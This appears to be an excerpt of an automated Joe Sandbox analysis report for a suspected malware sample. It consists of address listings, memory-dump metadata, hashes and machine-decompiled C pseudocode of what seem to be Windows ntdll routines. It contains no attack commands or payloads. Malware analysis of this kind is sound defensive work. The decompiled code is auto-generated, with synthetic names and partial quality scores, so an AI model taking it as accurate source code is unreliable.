0x00000000
0x00000000
0x34c95898
0x34c95898
0x34c9559f
0x34c955a1
0x34c955ec
0x34c955ec
0x34c955f0
0x34c955f3
0x34c955f5
0x34c955f9
0x34c955fc
0x34c95669
0x34c95671
0x34c9567c
0x34c95680
0x34c95682
0x34c95686
0x34c9568a
0x34c9568f
0x34ce6c21
0x00000000
0x34ce6c21
0x34c95695
0x34c9569d
0x34c956a1
0x34c956a4
0x34c956a8
0x34c956aa
0x34c95528
0x34c95528
0x00000000
0x00000000
0x00000000
0x00000000
0x34c956b0
0x34c956b0
0x34c956b0
0x34c956b2
0x34c956b4
0x00000000
0x00000000
0x00000000
0x00000000
0x34c956b6
0x34c956b6
0x34c956b6
0x34c956ba
0x00000000
0x00000000
0x34c956bc
0x34c956bf
0x34c956c1
0x00000000
0x00000000
0x00000000
0x34c956c1
0x34c956c3
0x34c956ca
0x34c956d0
0x34c956d4
0x34c956d8
0x34c956db
0x34c956dd
0x34c956e1
0x34c956e4
0x34c956e6
0x34c956e9
0x34c956eb
0x34c956eb
0x34c956ee
0x34c956ee
0x34c956e9
0x34c956e4
0x34c956fa
0x34c95704
0x34c95706
0x34ce6c32
0x34ce6c36
0x00000000
0x00000000
0x34ce6c38
0x34ce6c3e
0x00000000
0x00000000
0x34ce6c48
0x34ce6c4d
0x34ce6c52
0x34ce6c56
0x34ce6c58
0x34ce6ba3
0x34ce6ba3
0x00000000
0x34ce6ba3
0x00000000
0x34c9570c
0x34c9570c
0x34c95716
0x34c95723
0x34c95728
0x34c9572c
0x34c9572f
0x34c95731
0x34c95736
0x34c95748
0x34c9574c
0x34c9574c
0x34c9574c
0x34c9574c
0x34c95736
0x34c95758
0x34c9575d
0x34c95761
0x34c95763
0x34ce6c69
0x34ce6c69
0x34c95769
0x34c95776
0x34c95778
0x34ce6c7e
0x34ce6c7e
0x00000000
0x34c9577e
0x34c95786
0x34c9578a
0x34c95790
0x34c95795
0x34c95797
0x34c9580b
0x34c95817
0x34c95818
0x34c9581a
0x34c9581e
0x34c9581f
0x34c95820
0x34c95820
0x34c95828
0x34c9582e
0x34c95830
0x34c95832
0x34c95838
0x34c95838
0x00000000
0x34c95832
0x34c95799
0x34c9579d
0x34c9579f
0x34ce6c73
0x34ce6c75
0x34c957a5
0x34c957a5
0x34c957a5
0x34c957a8
0x34c957a8
0x34c957ac
0x34c957ae
0x00000000
0x34c957b4
0x34c957b4
0x00000000
0x34c957b4
0x34c957ae
0x34c95778
0x34c95706
0x34c956b0
0x34c955fe
0x34c95603
0x34c95606
0x34c95608
0x34c9560a
0x34c95631
0x34c95637
0x34c9563a
0x34c9563d
0x34c9563f
0x34c95643
0x34c95646
0x34c95648
0x34c9564b
0x34c9564d
0x34c9564d
0x34c9564d
0x34c9564b
0x34c95646
0x34c9564e
0x34c95651
0x34c95655
0x34c95657
0x34c95657
0x34c9565b
0x34c9565f
0x34c9565f
0x34c95661
0x34c95665
0x00000000
0x34c9560c
0x34c9560c
0x34c9560f
0x34c9560f
0x34c95611
0x34c95611
0x34c95615
0x34c957c6
0x34c957c9
0x34c957ce
0x34c957d1
0x34c957d4
0x34c957d6
0x34c957da
0x34c957dd
0x34c957df
0x34c957e2
0x34c957e8
0x34c957e8
0x34c957e2
0x34c957dd
0x34c957eb
0x34c957ee
0x34c957f2
0x34c957fb
0x34c957fb
0x34c957f4
0x34c957f4
0x34c9561b
0x34c9561e
0x34c95621
0x34c95623
0x00000000
0x34c95625
0x34c95625
0x34c95629
0x34c9562d
0x00000000
0x34c9562d
0x34c95623
0x34c9560a
0x34c955a3
0x34c955a9
0x34c955ad
0x34c955b0
0x00000000
0x00000000
0x34c955b2
0x34c955b7
0x34c955ba
0x34c955bc
0x34c955c0
0x34c955c0
0x34c955c4
0x34c955c7
0x34c955ca
0x34c955dc
0x34c955e4
0x34c955e4
0x34c955e4
0x34c955cc
0x34c955cf
0x00000000
0x00000000
0x34c955d1
0x34c955d4
0x00000000
0x00000000
0x34c955d6
0x34c955d8
0x00000000
0x34c955da
0x00000000
0x34c955da
0x34c955d8
0x34c955c0
0x00000000
0x34c955bc
0x34c95306
0x34c9530a
0x34c95324
0x34c953d1
0x34c953d3
0x00000000
0x00000000
0x34c953d9
0x34c953df
0x00000000
0x00000000
0x34c953e9
0x34c953eb
0x34ce6b36
0x34ce6b39
0x34ce6b3c
0x00000000
0x00000000
0x34ce6b42
0x34ce6b47
0x34ce6b4a
0x34ce6b4c
0x00000000
0x00000000
0x00000000
0x00000000
0x34ce6b52
0x34ce6b52
0x34ce6b52
0x34ce6b56
0x34ce6b59
0x34ce6b5c
0x00000000
0x00000000
0x34ce6b62
0x34ce6b65
0x00000000
0x00000000
0x34ce6b6b
0x34ce6b6e
0x00000000
0x00000000
0x34ce6b74
0x34ce6b76
0x00000000
0x00000000
0x00000000
0x34ce6b78
0x34ce6b52
0x34c953f1
0x34c953f9
0x34c95401
0x34ce6b7d
0x00000000
0x34ce6b7d
0x34c9540e
0x34ce6b8b
0x34ce6b95
0x34ce6b97
0x34ce6b9b
0x34ce6b9d
0x00000000
0x00000000
0x00000000
0x34c95414
0x34c95414
0x34c95418
0x34c95420
0x34c95439
0x34c95446
0x34c95451
0x34c95460
0x34c95472
0x34c9547d
0x00000000
0x00000000
0x34c95483
0x34c95487
0x34c9548e
0x34ce6bad
0x34ce6bb5
0x34ce6bb9
0x34c95494
0x34c95494
0x34c95494
0x34c95496
0x34c954a1
0x34c954af
0x34c954b7
0x34c954c2
0x34c954c3
0x34c954ce
0x34c954d9
0x34c954e4
0x34c954e9
0x34c954ed
0x34c954f1
0x34ce6bc2
0x34ce6bc5
0x34ce6bc9
0x34ce6bcf
0x34ce6bd2
0x34ce6be3
0x34ce6be3
0x34ce6bc9
0x34c95503
0x34c9550a
0x34ce6bed
0x34ce6bf9
0x34ce6bfa
0x34ce6bfc
0x34ce6c00
0x34ce6c01
0x00000000
0x00000000
0x00000000
0x00000000
0x34c9550a
0x34c9540e
0x34c9532e
0x34c95332
0x34c95339
0x34ce6af3
0x34ce6afb
0x34ce6aff
0x34c9533f
0x34c9533f
0x34c9533f
0x34c95341
0x34c95349
0x34c95357
0x34c9535c
0x34c95364
0x34c95365
0x34c95370
0x34c9537b
0x34c9538b
0x34c9538d
0x34c95393
0x34ce6b08
0x34ce6b0b
0x34ce6b0f
0x34ce6b15
0x34ce6b18
0x34ce6b2c
0x34ce6b2c
0x34ce6b0f
0x34c953a8
0x34c953af
0x34c9557c
0x34c9557e
0x34c95580
0x00000000
0x00000000
0x00000000
0x34c953cd
0x34c953cd
0x00000000
0x34c953cd
0x34c953af
0x34c95300
0x34c95586
0x34c95589
0x00000000
0x00000000
0x34c9558b
0x34c9558f
0x34ce6aa6
0x34ce6aaa
0x34ce6aad
0x34ce6ad8
0x34ce6ad8
0x00000000
0x34ce6ad8
0x34ce6aaf
0x34ce6ab2
0x00000000
0x00000000
0x34ce6ab4
0x34ce6ab7
0x00000000
0x00000000
0x34ce6abd
0x34ce6ac0
0x00000000
0x00000000
0x34ce6ac6
0x34ce6aca
0x34ce6acd
0x00000000
0x00000000
0x34ce6acf
0x34ce6ad2
0x00000000
0x00000000
0x00000000
0x34ce6ad2
0x00000000
0x34c9558f
0x00000000
0x34c95300
0x34c952dd
0x34c952e4
0x34ce6a93
0x34ce6a96
0x00000000
0x00000000
0x00000000
0x34ce6a96
0x34c952ea
0x34c952ea
0x34c952ea
0x00000000
0x34c952b9
0x34c952a1
0x34c952a7
0x34ce6a2a
0x34ce6a2d
0x34ce6a89
0x34ce6a89
0x00000000
0x34ce6a89
0x34ce6a2f
0x34ce6a33
0x34ce6a36
0x34ce6a3d
0x34ce6a3d
0x34ce6a40
0x34ce6a7f
0x34ce6a7f
0x00000000
0x34ce6a7f
0x34ce6a42
0x34ce6a46
0x34ce6a49
0x34ce6a50
0x34ce6a50
0x34ce6a53
0x34ce6a6d
0x34ce6a6f
0x34ce6a79
0x00000000
0x34ce6a79
0x34ce6a55
0x34ce6a59
0x34ce6a5c
0x34ce6a63
0x34ce6a63
0x00000000
0x34ce6a63
0x34ce6a5e
0x34ce6a61
0x00000000
0x00000000
0x00000000
0x34ce6a61
0x34ce6a4b
0x34ce6a4e
0x00000000
0x00000000
0x00000000
0x34ce6a4e
0x34ce6a38
0x34ce6a3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x34c952a7

Strings

@, xrefs: 34C95365
@, xrefs: 34C954C3

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 92748a3cf156d7926075295068eee6be89b394eafb8869cfa9a16f4efa2334a7
Instruction ID: 39b04b93f7f5cdef6cb1a0bb3fa18b4d2e0db973783faafc936de7447cf5b01b
Opcode Fuzzy Hash: 92748a3cf156d7926075295068eee6be89b394eafb8869cfa9a16f4efa2334a7
Instruction Fuzzy Hash: BB32ADB6608311AFD7948F15C4807BEB7E7EF88744F80492EF985872A1E734D984CB92

Uniqueness

Uniqueness Score: -1.00%

Function 34C85622 Relevance: 3.1, APIs: 2, Instructions: 104
timeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E34C85622(signed int __ecx, void* __edx, intOrPtr _a4) {
				char _v8;
				void* __ebx;
				void* _t32;
				void* _t33;
				intOrPtr* _t36;
				char* _t52;
				intOrPtr _t55;
				void* _t72;
				signed int _t78;

				_push(__ecx);
				_t72 = __edx;
				_t75 = __ecx;
				if(_a4 == 0x102) {
					_t32 = E34C87072(__ecx, __edx, 0);
					if(_t32 != 0) {
						L3:
						_t33 = E34C93C40();
						_t52 = 0x7ffe0386;
						if(_t33 != 0) {
							_t36 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t36 = 0x7ffe0386;
						}
						if( *_t36 != 0) {
							E34D54C59( *((intOrPtr*)(_t72 + 0x5c)), _t72 + 0xf8,  *((intOrPtr*)(_t72 + 0x30)),  *((intOrPtr*)(_t72 + 0x34)),  *((intOrPtr*)(_t72 + 0x3c)));
						}
						E34C86F4C( &_v8,  *((intOrPtr*)(_t72 + 0x30)),  *((intOrPtr*)(_t72 + 0x34)),  *((intOrPtr*)(_t72 + 0x3c)));
						 *((intOrPtr*)(_t75 + 0x30)) =  *((intOrPtr*)(_t72 + 0x30));
						 *((intOrPtr*)(_t75 + 0x34)) =  *((intOrPtr*)(_t72 + 0x34));
						 *0x34d791e0(_t75,  *((intOrPtr*)(_t72 + 0x34)), _t72, _a4);
						 *((intOrPtr*)( *((intOrPtr*)(_t72 + 0x30))))();
						if(E34C93C40() != 0) {
							_t52 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						}
						if( *_t52 != 0) {
							E34D54CD2( *((intOrPtr*)(_t72 + 0x5c)), _t72 + 0xf8,  *((intOrPtr*)(_t72 + 0x30)),  *((intOrPtr*)(_t72 + 0x34)),  *((intOrPtr*)(_t72 + 0x3c)));
						}
						_t32 = E34C86ECF(_v8);
						L9:
						return _t32;
					}
					goto L9;
				}
				_t55 =  *((intOrPtr*)(__edx + 0x58));
				if(_t55 != 0) {
					if(E34CA2120(_t55, __ecx, 0, _t55) >= 0) {
						 *(__ecx + 0x50) =  *(__ecx + 0x50) | 0x00000100;
						 *((intOrPtr*)(__ecx + 0x64)) = _t55;
						goto L2;
					}
					_t78 = __ecx | 0xffffffff;
					_t32 = L34CADB40(_t72 + 0x20, _t78, 0);
					asm("lock xadd [edi], esi");
					if(_t78 == 1) {
						 *0x34d791e0(_t72);
						_t32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t72 + 4))))))();
					}
					goto L9;
				}
				L2:
				E34C87007(_t75, _t72);
				goto L3;
			}

0x34c85627
0x34c85632
0x34c85634
0x34c85636
0x34c856c7
0x34c856ce
0x34c85650
0x34c85650
0x34c85655
0x34c8565c
0x34ce0642
0x34c85662
0x34c85662
0x34c85662
0x34c85668
0x34ce065e
0x34ce065e
0x34c8567a
0x34c85685
0x34c8568c
0x34c85698
0x34c8569e
0x34c856a7
0x34ce0671
0x34ce0671
0x34c856b0
0x34ce068e
0x34ce068e
0x34c856b9
0x34c856be
0x34c856c2
0x34c856c2
0x00000000
0x34c856d0
0x34c8563c
0x34c85641
0x34ce05f9
0x34ce062a
0x34ce0631
0x00000000
0x34ce0631
0x34ce05fb
0x34ce0605
0x34ce060a
0x34ce060f
0x34ce061d
0x34ce0623
0x34ce0623
0x00000000
0x34ce060f
0x34c85647
0x34c8564b
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 34C85698
RtlDebugPrintTimes.NTDLL ref: 34CE061D

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: ba5eec22ffb65c8cd9963acaed7786f5e273b69b329afe56f3b2233e29582a0b
Instruction ID: 5eab885ebb48102ed62174c01d88956ab60691973ea635bd6dc944dfa4984b89
Opcode Fuzzy Hash: ba5eec22ffb65c8cd9963acaed7786f5e273b69b329afe56f3b2233e29582a0b
Instruction Fuzzy Hash: 7E31C035701B12FFE7859B61C940B9AFBAABF84798F044165E90097B61DBB0EC21CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 34D5B55F Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

RedirectedKey, xrefs: 34D5B60E
\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 34D5B5C4

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 0-1388552009
Opcode ID: f4b68981e2d9710796be457cda3f2c85890dead34fa39022d853fd6ef71e807a
Instruction ID: 44e4f5a4a9390ecbc3eb2ffa13a2c91812d5e101deb70e7f34fc0363d6ab6e1d
Opcode Fuzzy Hash: f4b68981e2d9710796be457cda3f2c85890dead34fa39022d853fd6ef71e807a
Instruction Fuzzy Hash: 4A61D3B5C01219EFDF11DF95C988ADEBFB9FB08710F5040AAE405A7260EB749A45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 34C9F640 Relevance: 2.7, Strings: 2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E34C9F640(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t76;
				void* _t85;
				intOrPtr _t89;
				intOrPtr _t96;
				signed int _t99;
				signed int _t109;
				signed int _t114;
				signed int _t117;
				void* _t120;
				intOrPtr _t123;
				signed int _t128;
				signed int _t129;
				intOrPtr _t135;
				intOrPtr _t137;
				void* _t139;
				void* _t141;

				_push("true");
				_push(0x34d5c3a0);
				L34CD7BE4(__ebx, __edi, __esi);
				_t137 =  *[fs:0x18];
				 *((intOrPtr*)(_t139 - 0x24)) = _t137;
				_t74 =  *[fs:0x30];
				 *((intOrPtr*)(_t139 - 0x2c)) =  *[fs:0x30];
				_t128 =  *(_t137 + 0xfb4);
				 *(_t139 - 0x20) = _t128;
				if(_t128 != 0) {
					_push(1);
					_t121 = _t128;
					E34C84779(_t74, _t128);
				}
				if(( *( *[fs:0x18] + 0xfca) & 0x00000008) != 0) {
					_t76 =  *[fs:0x18];
					__eflags =  *(_t76 + 0xfca) & 0x00000020;
					if(( *(_t76 + 0xfca) & 0x00000020) == 0) {
						L26:
						_t109 = 0;
						L19:
						__eflags = _t128;
						if(_t128 != 0) {
							 *(_t137 + 0xfb4) = _t109;
							_push(2);
							_t121 = _t128;
							E34C84779(_t76, _t128);
						}
						_t129 =  *(_t137 + 0xf94);
						__eflags = _t129;
						if(_t129 != 0) {
							 *(_t137 + 0xf94) = _t109;
							E34C8FED0(0x34d75b40);
							_push(0x34d75b40);
							E34C8E740(_t111);
							L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109, _t129);
						}
						__eflags =  *(_t137 + 0xfca) & 0x00000004;
						if(( *(_t137 + 0xfca) & 0x00000004) != 0) {
							 *(_t137 + 0x10) = _t109;
							L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109,  *(_t137 + 0x10));
						}
						E34CB4940();
						_t85 = 0x400;
						__eflags =  *(_t137 + 0xfca) & 0x00000400;
						if(( *(_t137 + 0xfca) & 0x00000400) != 0) {
							__eflags =  *0x34d765f4 - 3;
							if( *0x34d765f4 == 3) {
								_t85 = E34D54080(_t111, _t121);
							}
						}
						 *[fs:0x0] =  *((intOrPtr*)(_t139 - 0x10));
						return _t85;
					}
				}
				_t76 = 0x2000;
				if(( *(_t137 + 0xfca) & 0x00002000) != 0) {
					goto L26;
				}
				_t111 = 0x1000;
				_t109 = 0;
				if(( *( *[fs:0x18] + 0xfca) & 0x00001000) != 0) {
					 *((char*)(_t139 - 0x19)) = 1;
				} else {
					 *((char*)(_t139 - 0x19)) = 0;
					_t111 = 0;
					E34CA19DF(0);
				}
				E34CA2755(_t121);
				 *(_t139 - 4) = _t109;
				_t89 =  *0x34d75da0; // 0x49a82e0
				while(_t89 != 0x34d75d9c) {
					_t16 = _t89 - 0x10; // 0x49a82d0
					_t123 = _t16;
					 *((intOrPtr*)(_t139 - 0x30)) = _t123;
					_t18 = _t89 + 4; // 0x49a7520
					_t96 =  *_t18;
					 *((intOrPtr*)(_t139 - 0x28)) = _t96;
					 *((intOrPtr*)(_t139 - 0x38)) = _t96;
					_t21 = _t123 + 0x34; // 0x8a2cc
					_t111 =  *_t21;
					_t24 = _t123 + 0x18; // 0x77b10000
					if( *((intOrPtr*)( *((intOrPtr*)(_t139 - 0x2c)) + 8)) !=  *_t24 && (_t111 & 0x00040000) == 0) {
						_t27 = _t123 + 0x1c; // 0x77b45cd0
						_t99 =  *_t27;
						 *(_t139 - 0x34) = _t99;
						if(_t99 != 0 && _t111 == 0x80004) {
							 *(_t139 - 0x3c) = _t99;
							 *((intOrPtr*)(_t139 - 0x60)) = 0x24;
							 *(_t139 - 0x5c) = 1;
							_t117 = 7;
							memset(_t139 - 0x58, 0, _t117 << 2);
							_t141 = _t141 + 0xc;
							_t34 = _t123 + 0x48; // 0x0
							E34C9DC40(_t139 - 0x60,  *_t34);
							 *(_t139 - 4) = 1;
							_t135 =  *((intOrPtr*)(_t139 - 0x30));
							_t155 =  *((intOrPtr*)(_t135 + 0x3a)) - _t109;
							if( *((intOrPtr*)(_t135 + 0x3a)) != _t109) {
								_t120 = 3;
								E34C9F0A3(_t109, _t120, _t135, _t135, _t137, _t155);
							}
							_push(_t109);
							_push(3);
							_t111 =  *(_t139 - 0x34);
							E34C9DCD1(_t109,  *(_t139 - 0x34),  *((intOrPtr*)(_t135 + 0x18)), _t135, _t137, _t155);
							 *(_t139 - 4) = _t109;
							_t128 =  *(_t139 - 0x20);
							E34C9F85E();
						}
					}
					_t89 =  *((intOrPtr*)(_t139 - 0x28));
				}
				_t121 =  *0x34d75b24; // 0x4982ce0
				__eflags =  *((intOrPtr*)(_t121 + 0x3a)) - _t109;
				if( *((intOrPtr*)(_t121 + 0x3a)) != _t109) {
					 *((intOrPtr*)(_t139 - 0x84)) = 0x24;
					 *(_t139 - 0x80) = 1;
					_t114 = 7;
					__eflags = 0;
					memset(_t139 - 0x7c, 0, _t114 << 2);
					_t49 = _t121 + 0x48; // 0x0
					E34C9DC40(_t139 - 0x84,  *_t49);
					 *(_t139 - 4) = 2;
					_t121 =  *0x34d75b24; // 0x4982ce0
					_t111 = 3;
					E34C9F0A3(_t109, _t111, _t121, _t139 - 0x7c + _t114, _t137, __eflags);
					 *(_t139 - 4) = _t109;
					_t128 =  *(_t139 - 0x20);
					E34C9F87D();
				}
				 *(_t139 - 4) = 0xfffffffe;
				E34C9F867(_t109, _t111);
				_t76 = E34CB6540(_t111);
				goto L19;
			}

0x34c9f640
0x34c9f642
0x34c9f647
0x34c9f64c
0x34c9f653
0x34c9f656
0x34c9f65c
0x34c9f65f
0x34c9f665
0x34c9f66a
0x34c9f66c
0x34c9f66e
0x34c9f670
0x34c9f670
0x34c9f682
0x34ce9c28
0x34ce9c2e
0x34ce9c35
0x34c9f857
0x34c9f857
0x34c9f7da
0x34c9f7da
0x34c9f7dc
0x34c9f7de
0x34c9f7e4
0x34c9f7e6
0x34c9f7e8
0x34c9f7e8
0x34c9f7ed
0x34c9f7f3
0x34c9f7f5
0x34c9f82b
0x34c9f836
0x34c9f83b
0x34c9f840
0x34c9f850
0x34c9f850
0x34c9f7f7
0x34c9f7fe
0x34ce9c79
0x34ce9c87
0x34ce9c87
0x34c9f804
0x34c9f809
0x34c9f80e
0x34c9f815
0x34ce9c91
0x34ce9c98
0x34ce9c9e
0x34ce9c9e
0x34ce9c98
0x34c9f81e
0x34c9f82a
0x34c9f82a
0x34ce9c3b
0x34c9f688
0x34c9f694
0x00000000
0x00000000
0x34c9f6a0
0x34c9f6a5
0x34c9f6ae
0x34ce9c40
0x34c9f6b4
0x34c9f6b4
0x34c9f6b7
0x34c9f6b9
0x34c9f6b9
0x34c9f6be
0x34c9f6c3
0x34c9f6c6
0x34c9f6cb
0x34c9f6d6
0x34c9f6d6
0x34c9f6d9
0x34c9f6dc
0x34c9f6dc
0x34c9f6df
0x34c9f6e2
0x34c9f6e5
0x34c9f6e5
0x34c9f6ee
0x34c9f6f1
0x34c9f6fb
0x34c9f6fb
0x34c9f6fe
0x34c9f703
0x34c9f713
0x34c9f716
0x34c9f71d
0x34c9f726
0x34c9f72c
0x34c9f72c
0x34c9f72e
0x34c9f734
0x34c9f739
0x34c9f740
0x34c9f743
0x34c9f747
0x34c9f74d
0x34c9f74e
0x34c9f74e
0x34c9f753
0x34c9f754
0x34c9f759
0x34c9f75c
0x34c9f761
0x34c9f764
0x34c9f767
0x34c9f767
0x34c9f703
0x34c9f76c
0x34c9f76c
0x34c9f774
0x34c9f77a
0x34c9f77e
0x34c9f780
0x34c9f78a
0x34c9f793
0x34c9f794
0x34c9f799
0x34c9f79b
0x34c9f7a4
0x34c9f7a9
0x34c9f7b0
0x34c9f7b8
0x34c9f7b9
0x34c9f7be
0x34c9f7c1
0x34c9f7c4
0x34c9f7c4
0x34c9f7c9
0x34c9f7d0
0x34c9f7d5
0x00000000

Strings

$, xrefs: 34C9F780
$, xrefs: 34C9F716

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$
API String ID: 3446177414-233714265
Opcode ID: a56ceadf39b21ec94f0c3f32425ab5baa6f4291bb69d80824d97fffcec2b6a42
Instruction ID: b57bb7108cd1d2e48f49e25d61a5b68fd1d98191267eeff156beb7f2612cda28
Opcode Fuzzy Hash: a56ceadf39b21ec94f0c3f32425ab5baa6f4291bb69d80824d97fffcec2b6a42
Instruction Fuzzy Hash: FF61BAB5A00B49EFEB20CFA4C590BEDB7F2FF44708F104069D114AB690CB75A980CB95

Uniqueness

Uniqueness Score: -1.00%

Function 34C8A1E3 Relevance: 2.6, Strings: 2, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E34C8A1E3(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, signed int* _a8, intOrPtr _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				short _v22;
				char _v24;
				char* _v28;
				short _v30;
				char _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t34;
				short _t35;
				signed int* _t37;
				signed char* _t38;
				signed int _t39;
				signed char* _t40;
				intOrPtr* _t43;
				void* _t45;
				signed int _t46;
				signed int _t47;
				signed int _t49;
				signed int _t53;
				signed char* _t58;
				short _t61;
				intOrPtr* _t63;
				intOrPtr _t68;
				signed int _t71;
				signed int _t72;

				_v16 = __edx;
				_t72 = 0;
				_t68 = __ecx;
				_v8 = 0;
				_t61 = 0x42;
				_push("true");
				_pop(_t34);
				_v22 = _t34;
				_t58 = 0x7ffe0385;
				_push("true");
				_pop(_t35);
				_v32 = _t35;
				_v12 = __ecx;
				_v24 = _t61;
				_v20 = L"RtlpResUltimateFallbackInfo Enter";
				_t37 =  *( *[fs:0x30] + 0x50);
				_v30 = _t61;
				_v28 = L"RtlpResUltimateFallbackInfo Exit";
				if(_t37 != 0) {
					__eflags =  *_t37;
					if(__eflags == 0) {
						goto L1;
					}
					_t38 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
					L2:
					_t73 = 0x7ffe0384;
					if(( *_t38 & 0x00000001) != 0) {
						_t39 = E34C93C40();
						__eflags = _t39;
						if(_t39 == 0) {
							_t40 = 0x7ffe0384;
						} else {
							_t40 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
						}
						E34D0FC01( &_v24,  *_t40 & 0x000000ff);
						_t68 = _v12;
					}
					if(_t68 == 0) {
						L28:
						return 0xc000000d;
					} else {
						_t43 = _a4;
						if(_t43 == 0) {
							goto L28;
						}
						_t63 = _a8;
						_t79 = _t63;
						if(_t63 == 0) {
							goto L28;
						}
						 *_t43 = _t72;
						 *_t63 = _t72;
						_t45 = E34C8B5E0(_t58, _t72, _t73, _t79, _t68, _v16,  &_v8, _a12, 1);
						if(_t45 >= 0) {
							_t46 = _v8;
							__eflags = _t46;
							if(_t46 == 0) {
								L17:
								_t72 = 0xc0000001;
								L14:
								_t47 = E34C93C40();
								__eflags = _t47;
								if(_t47 != 0) {
									_t58 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
								}
								__eflags =  *_t58 & 0x00000001;
								if(( *_t58 & 0x00000001) != 0) {
									_t49 = E34C93C40();
									__eflags = _t49;
									if(_t49 != 0) {
										_t73 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
										__eflags =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
									}
									E34D0FC01( &_v32,  *_t73 & 0x000000ff);
									goto L16;
								} else {
									L16:
									return _t72;
								}
							}
							__eflags = _t46 - 0xffffffff;
							if(_t46 == 0xffffffff) {
								goto L17;
							}
							__eflags =  *((intOrPtr*)(_t46 + 0x7c)) - _t72;
							if( *((intOrPtr*)(_t46 + 0x7c)) == _t72) {
								goto L17;
							}
							__eflags =  *((intOrPtr*)(_t46 + 0x80)) - _t72;
							if( *((intOrPtr*)(_t46 + 0x80)) == _t72) {
								goto L17;
							}
							_t71 =  *(_t46 + 0x18);
							__eflags = _t71;
							if(_t71 == 0) {
								goto L17;
							}
							_t53 = _t46 +  *((intOrPtr*)(_t46 + 0x7c));
							__eflags = _t53;
							 *_a8 = _t71;
							 *_a4 = _t53;
							goto L14;
						}
						return _t45;
					}
				}
				L1:
				_t38 = _t58;
				goto L2;
			}

0x34c8a1f0
0x34c8a1f3
0x34c8a1f5
0x34c8a1f7
0x34c8a1fa
0x34c8a1fb
0x34c8a1fd
0x34c8a1fe
0x34c8a202
0x34c8a207
0x34c8a209
0x34c8a20a
0x34c8a214
0x34c8a217
0x34c8a21b
0x34c8a222
0x34c8a225
0x34c8a229
0x34c8a232
0x34ce2965
0x34ce2967
0x00000000
0x00000000
0x34ce2976
0x34c8a23a
0x34c8a23d
0x34c8a242
0x34ce2980
0x34ce2985
0x34ce2987
0x34ce2999
0x34ce2989
0x34ce2992
0x34ce2992
0x34ce29a1
0x34ce29a6
0x34ce29a6
0x34c8a24a
0x34ce29ea
0x00000000
0x34c8a250
0x34c8a250
0x34c8a255
0x00000000
0x00000000
0x34c8a25b
0x34c8a25e
0x34c8a260
0x00000000
0x00000000
0x34c8a26b
0x34c8a274
0x34c8a277
0x34c8a27e
0x34c8a287
0x34c8a28a
0x34c8a28c
0x34c8a2ce
0x34c8a2ce
0x34c8a2b4
0x34c8a2b4
0x34c8a2b9
0x34c8a2bb
0x34ce29b7
0x34ce29b7
0x34c8a2c1
0x34c8a2c4
0x34ce29c2
0x34ce29c7
0x34ce29c9
0x34ce29d4
0x34ce29d4
0x34ce29d4
0x34ce29e0
0x00000000
0x34c8a2ca
0x34c8a2ca
0x00000000
0x34c8a2ca
0x34c8a2c4
0x34c8a28e
0x34c8a291
0x00000000
0x00000000
0x34c8a293
0x34c8a296
0x00000000
0x00000000
0x34c8a298
0x34c8a29e
0x00000000
0x00000000
0x34c8a2a0
